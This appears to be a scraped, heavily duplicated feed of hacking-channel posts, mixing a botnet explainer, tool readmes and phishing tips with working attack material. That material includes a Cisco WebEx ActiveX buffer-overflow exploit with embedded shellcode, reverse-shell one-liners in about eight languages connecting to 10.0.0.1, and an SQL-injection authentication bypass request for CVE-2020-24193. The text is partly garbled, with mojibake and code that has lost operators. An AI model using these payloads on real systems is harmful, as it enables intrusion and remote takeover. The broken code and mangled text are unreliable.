Guide on Metasploitable 2.pdf
2.4 MB
Exploiting Port 22 SSH Bruteforce Port 22 SSH (RSA Method)
Exploiting port 23 TELNET (Credential Capture) Exploiting
TELNET (Bruteforce) Port 25 SMTP User Enumeration
Exploiting Port 80 (PHP) Exploiting Port 139 & 445 (Samba)
Exploiting Port 8080 (Java) Exploiting Port 5432 (Postgres)
Exploiting Port 6667 (UnrealIRCD) Exploiting Port 36255
Remote Login Exploitation Remote Shell Exploitation
Exploiting Port 8787 Bindshell Exploiting Port 5900 (VNC)
Access Port 2121 (ProFTPD) Exploiting Port 8180 (Apache
Tomcat) Privilege Escalation via NFS Exploiting Port 3306 (MYSQL)
Network Scan Exploiting Port 21 FTP (Hydra) Exploiting VSFTPD 2.3.4
β β β Uππ»βΊπ«Δπ¬πβ β β β
Exploiting port 23 TELNET (Credential Capture) Exploiting
TELNET (Bruteforce) Port 25 SMTP User Enumeration
Exploiting Port 80 (PHP) Exploiting Port 139 & 445 (Samba)
Exploiting Port 8080 (Java) Exploiting Port 5432 (Postgres)
Exploiting Port 6667 (UnrealIRCD) Exploiting Port 36255
Remote Login Exploitation Remote Shell Exploitation
Exploiting Port 8787 Bindshell Exploiting Port 5900 (VNC)
Access Port 2121 (ProFTPD) Exploiting Port 8180 (Apache
Tomcat) Privilege Escalation via NFS Exploiting Port 3306 (MYSQL)
Network Scan Exploiting Port 21 FTP (Hydra) Exploiting VSFTPD 2.3.4
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BOF Exploit :
<html>
<body> <object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object> <script language=javascript> // k`sOSe 08/08/2008
// tested in IE6, XP SP1
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100"); var block = unescape("%u0909%u0909");
while (block.length < 0x25000) block = block; var memory = new Array(); var i=0;
for (;i<1000;i ) memory[i] = block shellcode; memory[i] = shellcode; var buf2;
for (var i=0; i<151; i ) buf2 = "X"; buf2 = unescape(" "); target.NewObject(buf2); </script> </body>
</html>
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BOF Exploit :
<html>
<body> <object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object> <script language=javascript> // k`sOSe 08/08/2008
// tested in IE6, XP SP1
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100"); var block = unescape("%u0909%u0909");
while (block.length < 0x25000) block = block; var memory = new Array(); var i=0;
for (;i<1000;i ) memory[i] = block shellcode; memory[i] = shellcode; var buf2;
for (var i=0; i<151; i ) buf2 = "X"; buf2 = unescape(" "); target.NewObject(buf2); </script> </body>
</html>
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BOTNET FOR BEGINERS :
A) What is a botnet?
A trash can with fill sensors, a video surveillance system with a recording function, a smart TV Box - all these devices connect IoT technologies. All devices are connected to the network, so data transfer is carried out without human intervention.
> A botnet is a chain of many devices connected to the Internet. Thus, hackers infect each device with malware, which allows them to maintain complete control over them.
> Cybercriminals use botnets to target Internet sites. Using a botnet, cybercriminals can steal people's data or gain unauthorized access. The most common use of botnets is through DDoS attacks.
B) Cyber ββattacks: how to launch them via botnets?
The launch scheme is similar to a regular DDoS attack. However, hackers do not infect users' computers, but their IoT devices. Most modern devices have at least some vulnerabilities, for example, when the owners do not change the default password. Cybercriminals simply connect to poorly secured devices and create a botnet. Thus, the owners of botnets have access to several thousand devices simultaneously, which enables them to conduct cyber attacks.
C) The most famous attacks through botnets
Many cyberattacks have made history, and among them there are several interventions through botnets. The first largest botnet was Mirai. Cybersecurity experts discovered it in September 2016. The initial reason for the infection of gadgets was the default passwords set by manufacturers on the devices they produced. Brian Krebs' website was the first victim of the attack. Brian Krebs is a journalist who previously wrote about botnets. Then the cybercriminals chose the DNS operator American Dyn as the next target. The world's largest websites stopped working due to this interference (you can read more about this in this article). Also, using Mirai, hackers attacked the European host OVH. Further device infections are estimated that the original botnet infected nearly half a million IoT devices.
D) Another botnet was Reaper, also known as IoTroop. It was first used for attacks in the fall of 2017. Devices were hacked very quickly, even faster than it was with Mirai. Not only poorly protected devices with default passwords are infected, but also devices from well-known manufacturers (for example, D-Link). Subsequently, the botnet was used by cybercriminals who directed the attack on large European banks.
E) How many devices do you need for a DDoS attack?
For a successful cyber attack, tens of thousands of devices must be connected. The specific number of bots will vary depending on the cybercrime ability to infect unprotected devices.
Akamai gives interesting statistics. So, in 2016, several customers of the company suffered from a cyber attack from 13 thousand devices. It was enough to send almost 270 thousand requests per hour. In a DDoS attack in 2017, hackers attacked one of Akamai's customers via a network of more than 75,000 bots.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BOTNET FOR BEGINERS :
A) What is a botnet?
A trash can with fill sensors, a video surveillance system with a recording function, a smart TV Box - all these devices connect IoT technologies. All devices are connected to the network, so data transfer is carried out without human intervention.
> A botnet is a chain of many devices connected to the Internet. Thus, hackers infect each device with malware, which allows them to maintain complete control over them.
> Cybercriminals use botnets to target Internet sites. Using a botnet, cybercriminals can steal people's data or gain unauthorized access. The most common use of botnets is through DDoS attacks.
B) Cyber ββattacks: how to launch them via botnets?
The launch scheme is similar to a regular DDoS attack. However, hackers do not infect users' computers, but their IoT devices. Most modern devices have at least some vulnerabilities, for example, when the owners do not change the default password. Cybercriminals simply connect to poorly secured devices and create a botnet. Thus, the owners of botnets have access to several thousand devices simultaneously, which enables them to conduct cyber attacks.
C) The most famous attacks through botnets
Many cyberattacks have made history, and among them there are several interventions through botnets. The first largest botnet was Mirai. Cybersecurity experts discovered it in September 2016. The initial reason for the infection of gadgets was the default passwords set by manufacturers on the devices they produced. Brian Krebs' website was the first victim of the attack. Brian Krebs is a journalist who previously wrote about botnets. Then the cybercriminals chose the DNS operator American Dyn as the next target. The world's largest websites stopped working due to this interference (you can read more about this in this article). Also, using Mirai, hackers attacked the European host OVH. Further device infections are estimated that the original botnet infected nearly half a million IoT devices.
D) Another botnet was Reaper, also known as IoTroop. It was first used for attacks in the fall of 2017. Devices were hacked very quickly, even faster than it was with Mirai. Not only poorly protected devices with default passwords are infected, but also devices from well-known manufacturers (for example, D-Link). Subsequently, the botnet was used by cybercriminals who directed the attack on large European banks.
E) How many devices do you need for a DDoS attack?
For a successful cyber attack, tens of thousands of devices must be connected. The specific number of bots will vary depending on the cybercrime ability to infect unprotected devices.
Akamai gives interesting statistics. So, in 2016, several customers of the company suffered from a cyber attack from 13 thousand devices. It was enough to send almost 270 thousand requests per hour. In a DDoS attack in 2017, hackers attacked one of Akamai's customers via a network of more than 75,000 bots.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦A) Why is it difficult to prevent a botnet cyber attack on your own?
Botnet attacks are a hot topic for cybersecurity professionals. They have been actively discussed in recent years as the number of IoT devices is growing exponentially. Since botnets are difficult to fight, preventive measures need to be taken to protect them while manufacturers and authorized companies try to deal with the problem.
B) Selling vulnerable devices
Imagine an ordinary person who wants to buy a smart robot vacuum cleaner that can be turned on while sitting in the office. Security is the last thing that man or woman will care about (he / she may not even ask any security questions or ask one or two). Buyers are interested in the functionality of the gadget, its power, manufacturer status and, of course, price. A person is more likely to choose a cheaper device, ignoring possible vulnerabilities.
C) IoT gadget manufacturers don't always focus on security. Any oversight in the software development process can lead to the creation of botnets and cyber attacks. Such products will always be in demand due to the low price, so it is impossible to get rid of this problem on your own.
D) Tracking traffic is difficult or impossible
If the attack is large (as was the case with the previously described Mirai or Reaper botnets), the flow of requests is easy to spot and block. However, they are often used for smaller crimes like sending spam . In this case, the ISPs simply ignore it. It also comes with the difficulty of tracking traffic.
E) Infected devices are difficult to detect
It is worth noting that some organizations control the vulnerability of gadgets. Companies like CrowdStrike report infected devices to ISPs in different countries. They can contact the owners of the infected devices and report the problem. But, as mentioned earlier, there are billions of IoT devices out there. And millions of them could be on the botnet chain. It is almost impossible to control the spread of infected gadgets.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦A) Why is it difficult to prevent a botnet cyber attack on your own?
Botnet attacks are a hot topic for cybersecurity professionals. They have been actively discussed in recent years as the number of IoT devices is growing exponentially. Since botnets are difficult to fight, preventive measures need to be taken to protect them while manufacturers and authorized companies try to deal with the problem.
B) Selling vulnerable devices
Imagine an ordinary person who wants to buy a smart robot vacuum cleaner that can be turned on while sitting in the office. Security is the last thing that man or woman will care about (he / she may not even ask any security questions or ask one or two). Buyers are interested in the functionality of the gadget, its power, manufacturer status and, of course, price. A person is more likely to choose a cheaper device, ignoring possible vulnerabilities.
C) IoT gadget manufacturers don't always focus on security. Any oversight in the software development process can lead to the creation of botnets and cyber attacks. Such products will always be in demand due to the low price, so it is impossible to get rid of this problem on your own.
D) Tracking traffic is difficult or impossible
If the attack is large (as was the case with the previously described Mirai or Reaper botnets), the flow of requests is easy to spot and block. However, they are often used for smaller crimes like sending spam . In this case, the ISPs simply ignore it. It also comes with the difficulty of tracking traffic.
E) Infected devices are difficult to detect
It is worth noting that some organizations control the vulnerability of gadgets. Companies like CrowdStrike report infected devices to ISPs in different countries. They can contact the owners of the infected devices and report the problem. But, as mentioned earlier, there are billions of IoT devices out there. And millions of them could be on the botnet chain. It is almost impossible to control the spread of infected gadgets.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Unquoted Service Path.pdf
1.3 MB
In Windows environments when a service is started the system is attempting to find the location of the executable in order to successfully launch the service. If the executable is enclosed in quote tags ββ then the system will know where to find it. However if the path of where the application binary is located doesnβt contain any quotes then Windows will try to find it and execute it inside every folder of this path until they reach the executable.
This can be abused in order to elevate privileges if the service is running under SYSTEM privileges.
This can be abused in order to elevate privileges if the service is running under SYSTEM privileges.
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 Hacking
simple CLI with the ability to run pure Nmap engine
predefined scans included in the modules
support Nmap Scripting Engine (NSE) with scripts arguments
TOR support (with proxychains)
multiple scans at one time
at this point: 31 modules with 459 scan profiles
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) Clone this repository
git clone --recursive https://github.com/trimstray/sandmap
2) Go into the repository
cd sandmap
3) Install
./setup.sh install
4) Run the app
sandmap
π¦The etc/main.cfg configuration file has the following structure:
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 Hacking
simple CLI with the ability to run pure Nmap engine
predefined scans included in the modules
support Nmap Scripting Engine (NSE) with scripts arguments
TOR support (with proxychains)
multiple scans at one time
at this point: 31 modules with 459 scan profiles
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) Clone this repository
git clone --recursive https://github.com/trimstray/sandmap
2) Go into the repository
cd sandmap
3) Install
./setup.sh install
4) Run the app
sandmap
π¦The etc/main.cfg configuration file has the following structure:
# shellcheck shell=bash
# Specifies the default destination.
# Examples:
# - dest="127.0.0.1,8.8.8.8"
dest="127.0.0.1"
# Specifies the extended Nmap parameters.
# Examples:
# - params="--script ssl-ccs-injection -p 443"
params=""
# Specifies the default output type and path.
# Examples:
# - report="xml"
report=""
# Specifies the TOR connection.
# Examples:
# - tor="true"
tor=""
# Specifies the terminal type.
# Examples:
# - terminal="internal"
terminal="internal"
@undercodeTesting@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
GitHub
GitHub - trimstray/sandmap: Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles.
Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles. - trimstray/sandmap
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Website Hacking β The Most Common Techniques
SQL Injection attacks. SQL Injection attack is the most
common website hacking technique.
Cross Site Scripting (XSS)
Denial of Service (DoS/DDoS)
Cross-site request forgery (CSRF or XSRF)
DNS Spoofing (DNS cache poisoning)
Social engineering techniques.
Non-targeted website hacking.
#fastTips
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Website Hacking β The Most Common Techniques
SQL Injection attacks. SQL Injection attack is the most
common website hacking technique.
Cross Site Scripting (XSS)
Denial of Service (DoS/DDoS)
Cross-site request forgery (CSRF or XSRF)
DNS Spoofing (DNS cache poisoning)
Social engineering techniques.
Non-targeted website hacking.
#fastTips
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BEST ANDROID ANTIVIRUS 2020 :
RECOMMENDED
https://play.google.com/store/apps/details?id=com.wsandroid.suite
https://play.google.com/store/apps/details?id=com.sophos.smsec
https://play.google.com/store/apps/details?id=com.ahnlab.v3mobilesecurity.soda&hl=en_GB
https://play.google.com/store/apps/details?id=com.avira.android&hl=en_GB
https://play.google.com/store/apps/details?id=com.bitdefender.antivirus&adobe_mc=MCMID%3D41657809592592441272502762824585041301%7CMCORGID%3D0E920C0F53DA9E9B0A490D45%2540AdobeOrg%7CTS%3D1600420351
https://play.google.com/store/apps/details?id=com.eset.ems2.gp&referrer=utm_source%3Deset.com%26utm_medium%3Dreferral%26utm_campaign%3Dglobal-web-download
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦BEST ANDROID ANTIVIRUS 2020 :
RECOMMENDED
https://play.google.com/store/apps/details?id=com.wsandroid.suite
https://play.google.com/store/apps/details?id=com.sophos.smsec
https://play.google.com/store/apps/details?id=com.ahnlab.v3mobilesecurity.soda&hl=en_GB
https://play.google.com/store/apps/details?id=com.avira.android&hl=en_GB
https://play.google.com/store/apps/details?id=com.bitdefender.antivirus&adobe_mc=MCMID%3D41657809592592441272502762824585041301%7CMCORGID%3D0E920C0F53DA9E9B0A490D45%2540AdobeOrg%7CTS%3D1600420351
https://play.google.com/store/apps/details?id=com.eset.ems2.gp&referrer=utm_source%3Deset.com%26utm_medium%3Dreferral%26utm_campaign%3Dglobal-web-download
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Google Play
McAfee Security: Antivirus VPN - Apps on Google Play
Mobile Security with Scam Protection | Malware & Virus Cleaner | Safe Browser
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Reverse shell method for multiple programming languages ββunder Linux:
Bash command: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl version: perl -e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p ,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i" );};
Python version: python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s. fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i "]);'
PHP version: php -r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby version: ruby ββ-rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d" ,f,f,f)'
nc version: nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp /f
nc xxxx 8888|/bin/sh|nc xxxx 9999
java version: r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Lua version: lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/ bin/sh -i <&3 >&3 2>&3');"
use for learn
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Reverse shell method for multiple programming languages ββunder Linux:
Bash command: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl version: perl -e'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p ,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i" );};
Python version: python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s. fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i "]);'
PHP version: php -r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby version: ruby ββ-rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d" ,f,f,f)'
nc version: nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp /f
nc xxxx 8888|/bin/sh|nc xxxx 9999
java version: r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Lua version: lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/ bin/sh -i <&3 >&3 2>&3');"
use for learn
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦lastest 2020 Daily Tracker System 1.0 -
Authentication Bypass
#Exploit
CVE ID: CVE-2020-24193
Date: September 2, 2020
# Vulnerable Source Code
if(isset($_POST['login']))
{
$email=$_POST['email'];
$password=md5($_POST['password']);
$query=mysqli_query($con,"select ID from tbluser where Email='$email' && Password='$password ' ");
$ret=mysqli_fetch_array($query);
if($ret>0){
$_SESSION['detsuid']=$ret['ID'];
header('location:dashboard.php');
}
else{
$msg="Invalid Details.";
}
}
?>
# Malicious POST Request to https://TARGET/dets/index.php HTTP/1.1
POST /dets/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.65.130/dets/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1
email='+or+1%3d1+--+hyd3sec&password=badPass&login=login
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦lastest 2020 Daily Tracker System 1.0 -
Authentication Bypass
#Exploit
CVE ID: CVE-2020-24193
Date: September 2, 2020
# Vulnerable Source Code
if(isset($_POST['login']))
{
$email=$_POST['email'];
$password=md5($_POST['password']);
$query=mysqli_query($con,"select ID from tbluser where Email='$email' && Password='$password ' ");
$ret=mysqli_fetch_array($query);
if($ret>0){
$_SESSION['detsuid']=$ret['ID'];
header('location:dashboard.php');
}
else{
$msg="Invalid Details.";
}
}
?>
# Malicious POST Request to https://TARGET/dets/index.php HTTP/1.1
POST /dets/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.65.130/dets/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1
email='+or+1%3d1+--+hyd3sec&password=badPass&login=login
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Beginner Guide to Insecure Direct Object References (IDOR).pdf
895.9 KB
OWASP definition: Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user-supplied input and uses it to retrieve an object without performing sufficient authorization checks.
The Application uses untested data in a SQL call that is accessing account information.
Let consider a scenario where a web application allows the login user to change his secret value.
Here you can see the secret value must be referring to some user account of the database.
The Application uses untested data in a SQL call that is accessing account information.
Let consider a scenario where a web application allows the login user to change his secret value.
Here you can see the secret value must be referring to some user account of the database.
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 bulk mail:
F E A T U R E S :
Active on Slack. Join the bulk-mail-cli Slack group for suggestions, bugs reports, support, and core development.
Shoot mails using CSV.
Mail dynamic HTML Templates using the {{fname|lname}} syntax.
Set the sending interval time in Cron Expressions! Eg. */10 * * * * *
Unlimited attachments! Attach any files on your local computer or you may just provide a direct URL in configuration and bulk-mail-cli will download and send the attachment under dynamic filenames and pathnames.
Runs on cloud! Can be run on AWS EC2 servers and on any Node.js droplet on DigitalOcean.
It saves your campaign progress! You can pause and resume the Mail Campaign from where you left the last time.
Use .env variables to not hardcode the emails and passwords in configuration files.
Contentful demo files provided! You get many beautiful email templates to pick from!
WordPress and other CMS' friendly. Just export the list of your users, change the email containing column name to email and you are good to go!
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/adventmail/bulk-mail-cli.git
2) bulk-mail-cli
3) Install bulk-mail-cli
Assuming that you have node and npm installed... Run the following in your terminal.
> npm i -g bulk-mail-cli
4) Just run bulkmail support in your terminal to see what commands and flags you can use to do awesome things.
5) To generate demo files, use the following command.
> bulkmail demo
6) Send the Mail
EMAIL="chandlerbing@friends.com" PASSWORD="secret" bulkmail -f bulkmail.json # reference the configuration file here (https://github.com/adventmail/bulk-mail-cli)
7) That will start the mailing process! After every mail it sends, it updates the configuration file with the emails that you sent the message to. So that when you run the same campaign next time, it will resume from where you paused. To start over, you can append the --restart flag to the command.
8) Dynamic data
You may add any other column featuring custom data in the CSV. Namely fname, lname, address, etc... to use in the Subject and Body of your campaign mail. You can use the CSV fields everywhere in the configuration files.
9) Syntax
The syntax can be used in the email section of the CSV and can also be used everywhere in the configuration file and HTML templates. The syntax will be processed by bulk-mail-cli to generate correct mail output.
{{Hi|Hello|Howdy}} π
My name is {{fname}} {{lname}}.
How'yooou dooooing? π
more info on https://github.com/adventmail/bulk-mail-cli
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 bulk mail:
F E A T U R E S :
Active on Slack. Join the bulk-mail-cli Slack group for suggestions, bugs reports, support, and core development.
Shoot mails using CSV.
Mail dynamic HTML Templates using the {{fname|lname}} syntax.
Set the sending interval time in Cron Expressions! Eg. */10 * * * * *
Unlimited attachments! Attach any files on your local computer or you may just provide a direct URL in configuration and bulk-mail-cli will download and send the attachment under dynamic filenames and pathnames.
Runs on cloud! Can be run on AWS EC2 servers and on any Node.js droplet on DigitalOcean.
It saves your campaign progress! You can pause and resume the Mail Campaign from where you left the last time.
Use .env variables to not hardcode the emails and passwords in configuration files.
Contentful demo files provided! You get many beautiful email templates to pick from!
WordPress and other CMS' friendly. Just export the list of your users, change the email containing column name to email and you are good to go!
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/adventmail/bulk-mail-cli.git
2) bulk-mail-cli
3) Install bulk-mail-cli
Assuming that you have node and npm installed... Run the following in your terminal.
> npm i -g bulk-mail-cli
4) Just run bulkmail support in your terminal to see what commands and flags you can use to do awesome things.
5) To generate demo files, use the following command.
> bulkmail demo
6) Send the Mail
EMAIL="chandlerbing@friends.com" PASSWORD="secret" bulkmail -f bulkmail.json # reference the configuration file here (https://github.com/adventmail/bulk-mail-cli)
7) That will start the mailing process! After every mail it sends, it updates the configuration file with the emails that you sent the message to. So that when you run the same campaign next time, it will resume from where you paused. To start over, you can append the --restart flag to the command.
8) Dynamic data
You may add any other column featuring custom data in the CSV. Namely fname, lname, address, etc... to use in the Subject and Body of your campaign mail. You can use the CSV fields everywhere in the configuration files.
9) Syntax
The syntax can be used in the email section of the CSV and can also be used everywhere in the configuration file and HTML templates. The syntax will be processed by bulk-mail-cli to generate correct mail output.
{{Hi|Hello|Howdy}} π
My name is {{fname}} {{lname}}.
How'yooou dooooing? π
more info on https://github.com/adventmail/bulk-mail-cli
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
GitHub
adventmail/bulk-mail-cli
Do quick, hassle-free email marketing with this small but very powerful tool! π₯ - adventmail/bulk-mail-cli
Guys, since offensive remove wifi driver from kali 2020 ISO, some hackers & beginners use the old Kali versions such 2019 & this totally wrong !!
Kali 2019 include many Cve & bugs, any Kali 2019 is vulnerable to many exploits & totally not safe, so undercode recommend you always update your Linux Os, what ever is Parrot, Kali, Aubergine ...
> apt upgrade isnβt the solution
Kali 2019 include many Cve & bugs, any Kali 2019 is vulnerable to many exploits & totally not safe, so undercode recommend you always update your Linux Os, what ever is Parrot, Kali, Aubergine ...
> apt upgrade isnβt the solution
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Here we list a few tips for preventing phishing scams, I hope this helps you:
1) Protect your computer with security software
Basically, we need antivirus software for many reasons, right? Special signatures, which are squarely embedded in computer antivirus code, protect against recognized technology workarounds and loopholes. You just need to keep the software updated automatically so that it can deal with any new security threats.
2) Beware of what you press
It is ok to click on links once you are on trusted sites. However, following links that seem random in emails and instant messages isn't all that smart. Hover over links that you are simply not sure about before clicking on them.
3) . Please check the security of the site
It's natural to be a little bit careful about sensitive information about activities, such as personal and financial data on the Internet. However, as long as you are on a secure website, there is nothing to worry about. Before submitting any data, make sure that the site URL starts with βhttpsβ and that there is a closed padlock next to the address bar.
Also check for a site security certificate (SSL) . If you receive a message that a particular website may contain malicious files, do not open it, never transfer files from suspicious emails or websites. Even search engines can show confident links that can lead users to a phishing web page offering a low-priced product. If a user makes purchases on such a website, the MasterCard data will be available to cybercriminals.
4) Never share your personal data
In general, you should never share personal or financially sensitive information over the network. once you are unsure, go to the very website of the company in question, get their variety and provide them with a solution.
Most phishing emails can direct you to pages where records are required to receive money or personal information of a square measure. A web user should never create confidential records from links contained in emails, never send an email to anyone with confidential information. Make it a habit to check the website address. A secure website always starts with βhttpsβ.
5) Always use firewalls
Last but not least, where high quality firewalls act as buffers between you, your desktop, and external attackers, you should be using 2 completely different types: desktop firewall and network firewall. The primary capability can be a kind of package, and therefore the second capability can be a kind of hardware. Once used, they drastically reduce the likelihood of hackers and phishers infiltrating your desktop or your network.
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Here we list a few tips for preventing phishing scams, I hope this helps you:
1) Protect your computer with security software
Basically, we need antivirus software for many reasons, right? Special signatures, which are squarely embedded in computer antivirus code, protect against recognized technology workarounds and loopholes. You just need to keep the software updated automatically so that it can deal with any new security threats.
2) Beware of what you press
It is ok to click on links once you are on trusted sites. However, following links that seem random in emails and instant messages isn't all that smart. Hover over links that you are simply not sure about before clicking on them.
3) . Please check the security of the site
It's natural to be a little bit careful about sensitive information about activities, such as personal and financial data on the Internet. However, as long as you are on a secure website, there is nothing to worry about. Before submitting any data, make sure that the site URL starts with βhttpsβ and that there is a closed padlock next to the address bar.
Also check for a site security certificate (SSL) . If you receive a message that a particular website may contain malicious files, do not open it, never transfer files from suspicious emails or websites. Even search engines can show confident links that can lead users to a phishing web page offering a low-priced product. If a user makes purchases on such a website, the MasterCard data will be available to cybercriminals.
4) Never share your personal data
